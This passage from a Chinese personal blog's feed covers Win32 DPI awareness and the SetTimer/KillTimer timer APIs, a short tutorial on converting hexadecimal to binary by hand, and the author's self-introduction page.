这方面的内容比较复杂，下面是一篇来自看雪论坛的文章，非常详细的介绍了这部分内容，可以参考。</p><p>《Win32 应用程序 DPI 适配的设计与实现》<br><a href="https://bbs.pediy.com/thread-267416.htm">https://bbs.pediy.com/thread-267416.htm</a><br>（已获得转载链接授权）</p><p>关于对话框，在 Win10 1703 版本以上，有一个方便的解决办法：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">SetProcessDpiAwarenessContext</span>(DPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE_V2);</span><br></pre></td></tr></table></figure><p>（所以下载 Windows sdk 的时候要下最新版啊，要不然就只能 函数指针 + LoadLibrary + GetProcAddress 从 dll 里动态加载函数了。）</p><h2 id="八、- 定时器"><a href="# 八、- 定时器" class="headerlink" title="八、 定时器"></a>八、 定时器 </h2><p> 这东西的效果是定时通知程序（发消息 / 调用回调函数）</p><p>主要是两个函数 SetTimer，KillTimer。</p><h3 id="SetTimer"><a href="#SetTimer" class="headerlink" title="SetTimer"></a>SetTimer</h3><p>设置一个定时器，有 4 个参数。</p><h4 id="hWnd-1"><a href="#hWnd-1" class="headerlink" title="hWnd"></a>hWnd</h4><p>要通知的窗口的句柄。</p><p>这个参数不能为 NULL，需要填写上面 CreateWindow 函数，或 CreateDialog 函数的返回值。</p><h4 id="nIDEvent"><a href="#nIDEvent" class="headerlink" title="nIDEvent"></a>nIDEvent</h4><p>定时器的标识。</p><p>看类型就能知道，这里填写一个非 0 的，不重复的 unsigned int 类型的数就行。</p><h4 id="uElapse"><a href="#uElapse" class="headerlink" title="uElapse"></a>uElapse</h4><p>每两次通知之间的时间间隔，以毫秒为单位。</p><p>注：1000 毫秒 = 1 秒。</p><h4 id="lpTimerFunc"><a href="#lpTimerFunc" class="headerlink" title="lpTimerFunc"></a>lpTimerFunc</h4><p>回调函数，填回调函数名，不加括号。</p><p>当此参数为 0 时，定时器会按照参数定期向窗口过程函数发送消息 WM_TIMER。</p><p>但因为这个消息的优先级低，因此时间很可能不准，所以不推荐使用。</p><p>回调函数的定义：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">VOID CALLBACK <span class="title">TimerProc</span> <span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">HWND hwnd, </span></span></span><br><span class="line"><span class="params"><span class="function">UINT message, </span></span></span><br><span class="line"><span class="params"><span class="function">UINT iTimerID, </span></span></span><br><span class="line"><span class="params"><span class="function">DWORD dwTime)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"></span><br><span class="line">　<span class="comment">// 此处的代码会被定期执行。</span></span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="KillTimer"><a href="#KillTimer" class="headerlink" title="KillTimer"></a>KillTimer</h3><p>用于结束一个定时器，第一个参数是想结束的 SetTimer 使用的 hWnd ，第二个参数是这个 SetTimer 使用的 nIDEvent。</p><hr><h2 id="后记"><a href="# 后记" class="headerlink" title="后记"></a>后记 </h2><p> 这篇文章到这里就结束了，看起来有点长，但我所写的这些内容，其实只是一些关于 Win32 窗口部分的非常非常基础的内容。</p><p>读者可以自行在网络上查找一些更高级的内容（比如使用 GDI 绘图），来让自己的程序的图形界面更高级，更漂亮。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;转自我的洛谷博客（在线编辑器真不错）&lt;/p&gt;</summary>
    
    
    
    <category term="DEV" scheme="https://tyatt.top/categories/DEV/"/>
    
    
    <category term="C" scheme="https://tyatt.top/tags/C/"/>
    
    <category term="Win32" scheme="https://tyatt.top/tags/Win32/"/>
    
    <category term="C++" scheme="https://tyatt.top/tags/C/"/>
    
  </entry>
  
  <entry>
    <title>16 进制与 2 进制的人脑快速转换</title>
    <link href="https://tyatt.top/2021/04/30/16to2/"/>
    <id>https://tyatt.top/2021/04/30/16to2/</id>
    <published>2021-04-29T16:00:00.000Z</published>
    <updated>2025-09-27T16:12:16.177Z</updated>
    
    <content type="html"><![CDATA[<p> 这个技能对于查看 x86 那堆控制寄存器的各个位的开关状态、分解 CR3 寄存器的值之类的操作非常有用。</p><span id="more"></span><p> 比如有这么一个数：  </p><p>0x9abc121</p><p>16 进制的一位对应 2 进制的 4 位，把 16 进制的每一位分解成 8 + 4 + 2 + 1 的形式，自高到低排列，就是对应的二进制值了：</p><table><thead><tr><th align="center">8</th><th align="center">4</th><th align="center">2</th><th align="center">1</th></tr></thead><tbody><tr><td align="center">0</td><td align="center">0</td><td align="center">0</td><td align="center">0</td></tr></tbody></table><p> 如果分解完了，包含第一行的数，那么所对应的第二行的位是 1，反之是 0。</p><p> 如：9 = 8 + 1<br> 那么，0x9 = 0b1001</p><p> 全部按照步骤转换，即为：</p><p>1001 1010 1011 1100 0001 0010 0001</p><p>2 进制转 16 进制，按照上文步骤反着来，即将二进制数 4 位一分，每 4 位从高到低分别代表 8421，重复相加并将得到的结果写成一个数就行。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;这个技能对于查看 x86 那堆控制寄存器的各个位的开关状态、分解 CR3 寄存器的值之类的操作非常有用。&lt;/p&gt;</summary>
    
    
    
    <category term="DEV" scheme="https://tyatt.top/categories/DEV/"/>
    
    
    <category term="math" scheme="https://tyatt.top/tags/math/"/>
    
  </entry>
  
  <entry>
    <title>Intro</title>
    <link href="https://tyatt.top/2020/06/30/about/"/>
    <id>https://tyatt.top/2020/06/30/about/</id>
    <published>2020-06-29T16:00:00.000Z</published>
    <updated>2025-04-07T16:00:26.259Z</updated>
    
    <content type="html"><![CDATA[<p> 你好，我叫 Bill50han ，是一名 <del> 初 高中 </del> 大学生。</p><p> 随缘更新我的各种兴趣爱好方面的内容。</p><p><del> 上面的 Lastest 指向一个我自己写的博客程序，叫 TISP ，代码全部纯手敲。</del><br> 但是 bug 很多，已经没法用了。</p><p> 其他的一些技能 / 爱好：</p><ul><li> 弹电吉他 </li><li> 拉二胡 </li><li> 懂一些 C 语言 </li><li> 打 CTF 但是很菜 </li><li>¿股票与外汇？</li></ul><p> 正在学习 / 研究：</p><ul><li>Windows 内核 </li><li>x86 处理器 </li><li> 流行 / 爵士乐理 </li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt; 你好，我叫 Bill50han ，是一名 &lt;del&gt; 初 高中 &lt;/del&gt; 大学生。&lt;/p&gt;
&lt;p&gt; 随缘更新我的各种兴趣爱好方面的内容。&lt;/p&gt;
&lt;p&gt;&lt;del&gt; 上面的 Lastest 指向一个我自己写的博客程序，叫 TISP ，代码全部纯手敲。&lt;/del&gt;&lt;br&gt;</summary>
      
    
    
    
    
  </entry>
  
</feed>
